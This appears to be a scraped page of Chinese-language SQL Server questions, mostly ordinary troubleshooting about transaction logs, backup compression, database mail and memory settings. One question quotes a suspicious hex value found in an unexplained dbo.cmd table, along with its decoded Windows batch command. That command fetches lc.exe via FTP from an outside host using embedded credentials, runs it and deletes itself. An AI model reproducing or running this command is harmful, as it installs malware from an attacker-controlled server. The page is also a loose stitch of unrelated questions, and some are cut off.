我使用这些查询从 SQL Server 数据库访问事务
Use Action
Go
Select * from fn_dblog(null,null)
Run Code Online (Sandbox Code Playgroud)
此查询有效,但当数据库中的一个表包含超过 100,000 条记录时仅加载 7 行 接下来我使用此查询来恢复历史记录
SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1
,'D:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\Backup\Action.bak'
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL)
Run Code Online (Sandbox Code Playgroud)
这个查询没有错误,但只恢复了 37 行。如果我恢复备份,一张表中有超过 100,000 条记录。当我运行这些查询时,我希望看到数百或数千行。
唯一合乎逻辑的答案是文件中的事务是有限的。但事务日志的文件大小为 1.5 GB。我可以运行任何命令来检查日志文件中的事务数吗?
谁能解释我如何使这些查询工作以恢复事务日志中的每个事务?
我计划将 SQL Server 2008 标准版迁移到 Linux 服务器实例。我对这个实例有两个问题:
我正在使用 SQL Server 2014 中的 UI 创建一个新数据库,当我打开表时,它已经有一个表dbo.cmd:
CREATE TABLE [dbo].[cmd](
[a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
Run Code Online (Sandbox Code Playgroud)
它还插入了一行:
0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974
Run Code Online (Sandbox Code Playgroud)
我尝试将其转换为字符串,结果如下:
@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)
在关注这个之后,我发现它是一个 bash 脚本,我尝试执行 bash 脚本,我的文件lc.exe夹中有一个文件%systemroot%/Help/lc.exe,但我还没有执行脚本中的最后一个命令:
lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)
这是什么?我试过搜索这个,但找不到任何东西。我不知道这里发生了什么,我该如何解决这个问题?
我有一张如下表:
SELECT [EffectiveDate]
,[Rate]
[ModUser]
FROM [Vision]
Run Code Online (Sandbox Code Playgroud)
有很多行带有 ModUsers 名称。我需要提供 ModUsers 名称并获取最新费率。
我怎么做?
我试图查看我的所有备份是否已压缩。我运行下面的查询来检查但没有得到好的结果:
select top(10) database_name,
case when backup_size = compressed_backup_size then 'Compressed'
else 'Not compressed'
end as Compression,
backup_finish_date
from msdb.dbo.backupset
where database_name ='MyDAtabase'
order by backup_start_date desc
Run Code Online (Sandbox Code Playgroud)
我在用:
Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64)
2012 年 6 月 28 日 08:36:30 版权所有 (c)
Windows NT 6.1(内部版本 7601:Service Pack 1)上的Microsoft Corporation标准版(64 位)
默认情况下,我们设置了压缩,但是一旦我运行该查询,我得到的结果数据库没有被压缩。
我在每晚触发的 SQL 代理作业中使用 sp_send_dbmail。该作业查询我们的数据库并检查产品价格更新,如果有,它将通过电子邮件作为附件发送给我们的电子商务供应商。他们有一些自动流程,他们会更新我们的电子商务平台,但是他们的自动流程无法处理 sp_send_dbmail 提供的文件。sp_send_dbmail 似乎在结果集中的所有字符之间放置了空字符。
查看在十六进制编辑器中打开 csv 的结果:
通过文本编辑器查看我看到的预期:
sp_send_dbmail 在这里查询:
SET @FileName = 'Update_' + CONVERT(VARCHAR(12),GETDATE),105) '.csv'
SET @Query = 'Some Query'
EXEC msdb.dbo.sp_send_dbmail
@recipients = 'me@domain.com'
@query = @Query
@attach_query_result_as_file = 1
@query_attachment_filename = @FileName
@query_result_separator = ','
@query_result_no_padding = 1
END
Run Code Online (Sandbox Code Playgroud)
这里发生了什么?
****编辑补充说明****
使用 Microsoft SQL Server 2008 R2 排序规则为 Latin1_General_CI_AS
离开 no_padding 会在每个返回的字段中留下几个尾随空格。每个空格 (20) 由空值 (00) 分隔
我有一台服务器,它被重新用于 SQL Server。它带有比我的操作系统 (Windows Server 2008 R2) 可以看到的 32GB 更多的物理内存。
管理层希望我将 SQL (SQL Server 2008 R2 Service Pack 3) 使用的最大服务器内存配置为高于操作系统所看到的。我可以通过 SQL Server Management Studio 在 SQL Server 的属性中更改它。SQL Server 能否使用额外的 RAM?还是会耗尽操作系统可用的所有内存?
我对此不知所措。实现这一目标的简单方法是什么?
我有这样的“客户”表:
USER_ID| NAME | J_ID |K_ID |Y_ID
-----------------------------------------
1 | CUST1 | A | 1 | AB
2 | CUST2 | B | 2 | NULL
3 | CUST3 | C | 3 | EF
4 | CUST4 | NULL | NULL | GH
5 | CUST5 | E | 5 | IJ
Run Code Online (Sandbox Code Playgroud)
然后像这样的“R_ID”表:
R_ID | Y_ID
------------------
1A9 | AB
2B8 | CD
3C7 | EF
4D6 | GH
5E5 | IJ
Run Code Online (Sandbox Code Playgroud)
然后像这样的“JK_ID”表:
R_ID | J_ID | K_ID …Run Code Online (Sandbox Code Playgroud) SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED 位于“BEGIN”的不同部分。以下两个查询的行为是否相同?
视图 viewOne 和 viewTwo 会继承脏读吗?或者视图需要有一个明确的“NOLOCK”
查询 1
set transaction isolation level read uncommitted
begin
select col1 from viewOne
select * from viewTwo
select * from table1
end
Run Code Online (Sandbox Code Playgroud)
查询 2
begin
set transaction isolation level read uncommitted
select col1 from viewOne
select * from viewTwo
select * from table1
end
Run Code Online (Sandbox Code Playgroud) performance sql-server transaction isolation-level query-performance
我有一个 TVPmyTVP实现为select val.* from vw_MyView val. 前几天,我修改了vw_MyView,将: 替换
select Foo,Bar from DB为
select Foo, Bash, Bar from DB。
这有一个奇怪的副作用:调用select Bar from myTVP()返回一个名为Bar填充了内容的列Bash(尽管事实上Bar和Bash甚至没有相同的类型)。
展示问题的匿名计划:https://www.brentozar.com/pastetheplan/?id=ryJLJmqdl
请注意,Object2和Object1是相同的,但两个计划之间最左侧嵌套循环的输出列表完全不同。
笔记:
sql-server ×10
t-sql ×2
backup ×1
compression ×1
encoding ×1
linux ×1
memory ×1
performance ×1
transaction ×1
unicode ×1
view ×1